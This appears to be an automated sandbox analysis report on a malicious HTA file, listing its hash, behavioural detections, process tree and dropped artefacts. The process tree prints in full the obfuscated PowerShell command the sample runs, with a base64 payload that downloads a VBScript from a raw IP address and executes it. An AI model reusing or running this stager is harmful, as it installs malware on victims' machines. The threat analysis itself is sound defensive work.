Analysis
- max time kernel
148s - max time network
157s - platform
windows10-2004_x64 - resource
win10v2004-20241007-en - resource tags
- submitted
14/11/2024, 03:22
General
- Target ff98902753abefb76884fc6fa5fa34f389b215ad9a447bf434624f097f12ad57.hta
- Size 207KB
- Sample241114-dxc68stgjd
- SHA256 ff98902753abefb76884fc6fa5fa34f389b215ad9a447bf434624f097f12ad57
Malware Config
Signatures
- Blocklisted process makes network request 1 IoCs
- Evasion via Device Credential Deployment 2 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 5 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 12 IoCs
Processes
-
C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\ff98902753abefb76884fc6fa5fa34f389b215ad9a447bf434624f097f12ad57.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\wiNDOWSpoWeRshell\V1.0\PoWeRsHELL.EXE"C:\Windows\SysTEm32\wiNDOWSpoWeRshell\V1.0\PoWeRsHELL.EXE" "PoWerSheLl.exE -EX bYPaSs -nOp -W 1 -C DeVIcecRedEnTIAldePLoYmeNT ; Iex($(iEX('[sYSTEm.teXt.EncOdInG]'+[Char]58+[CHar]58+'utf8.gEtSTRIng([sYsTeM.CoNVERt]'+[chAr]0X3a+[ChAR]0x3a+'fROmbaSe64StrInG('+[Char]0X22+'JHhPVyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBZEQtdHlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tZW1iZXJEZUZpTklUaW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTG1Pbi5EbEwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBFU1RuY2xIQkcsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUVlLeFpVVHBBLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGV4WnhmeGlKLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBXVlpTdlp6Q2p4LEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEtFV09RcFNsZlRkKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAicnFDcFB6RkpybUIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BbUVzUGFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHhPVzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5OC40Ni4xNzguMTkyLzU1L3NlZW1lYmVzdHRoaW5nc29udGhlcGFydG9md29ybGR3aGljaGdycndlYXRmb3IudElGIiwiJGVOVjpBUFBEQVRBXHNlZW1lYmVzdHRoaW5nc29udGhlcGFydG9md29ybGR3aGljaGdycncudmJTIiwwLDApO1NUQVJULVNMZWVQKDMpO1NUQXJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFbnY6QVBQREFUQVxzZWVtZWJlc3R0aGluZ3NvbnRoZXBhcnRvZndvcmxkd2hpY2hncnJ3LnZiUyI='+[chAr]0X22+'))')))"2⤵
- Blocklisted process makes network request
- Evasion via Device Credential Deployment
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EX bYPaSs -nOp -W 1 -C DeVIcecRedEnTIAldePLoYmeNT3⤵
- Evasion via Device Credential Deployment
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\kem0lsec\kem0lsec.cmdline"3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9599.tmp" "c:\Users\Admin\AppData\Local\Temp\kem0lsec\CSC43C412AA1E2D491982865712D6EB6A1F.TMP"4⤵
- System Location Discovery: System Language Discovery
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
PoWeRsHELL.EXE.log
StartupProfileData-NonInteractive
RES9599.tmp
__PSScriptPolicyTest_du1ayqko.v5d.ps1
kem0lsec.dll
CSC43C412AA1E2D491982865712D6EB6A1F.TMP
kem0lsec.0.cs
kem0lsec.cmdline
memory/1488-18-0x00000000063E0000-0x000000000642C000-memory.dmp
memory/1488-68-0x0000000071300000-0x0000000071AB0000-memory.dmp
memory/1488-17-0x00000000063A0000-0x00000000063BE000-memory.dmp
memory/1488-74-0x0000000071300000-0x0000000071AB0000-memory.dmp
memory/1488-1-0x0000000004DE0000-0x0000000004E16000-memory.dmp
memory/1488-2-0x0000000071300000-0x0000000071AB0000-memory.dmp
memory/1488-70-0x0000000008620000-0x0000000008BC4000-memory.dmp
memory/1488-69-0x0000000007760000-0x0000000007782000-memory.dmp
memory/1488-0-0x000000007130E000-0x000000007130F000-memory.dmp
memory/1488-5-0x0000000005CF0000-0x0000000005D56000-memory.dmp
memory/1488-67-0x0000000071300000-0x0000000071AB0000-memory.dmp
memory/1488-66-0x000000007130E000-0x000000007130F000-memory.dmp
memory/1488-64-0x0000000006960000-0x0000000006968000-memory.dmp
memory/1488-3-0x00000000054C0000-0x0000000005AE8000-memory.dmp
memory/1488-4-0x0000000005C20000-0x0000000005C42000-memory.dmp
memory/1488-6-0x0000000005D60000-0x0000000005DC6000-memory.dmp
memory/1488-16-0x0000000005ED0000-0x0000000006224000-memory.dmp
memory/3768-42-0x0000000006D30000-0x0000000006D4A000-memory.dmp
memory/3768-49-0x0000000006FB0000-0x0000000006FB8000-memory.dmp
memory/3768-48-0x0000000007080000-0x000000000709A000-memory.dmp
memory/3768-47-0x0000000006F70000-0x0000000006F84000-memory.dmp
memory/3768-46-0x0000000006F60000-0x0000000006F6E000-memory.dmp
memory/3768-45-0x0000000006F30000-0x0000000006F41000-memory.dmp
memory/3768-44-0x0000000006FC0000-0x0000000007056000-memory.dmp
memory/3768-43-0x0000000006D90000-0x0000000006D9A000-memory.dmp
memory/3768-41-0x0000000007370000-0x00000000079EA000-memory.dmp
memory/3768-40-0x0000000006C10000-0x0000000006CB3000-memory.dmp
memory/3768-39-0x0000000005F60000-0x0000000005F7E000-memory.dmp
memory/3768-29-0x000000006DBC0000-0x000000006DC0C000-memory.dmp
memory/3768-28-0x0000000006BD0000-0x0000000006C02000-memory.dmp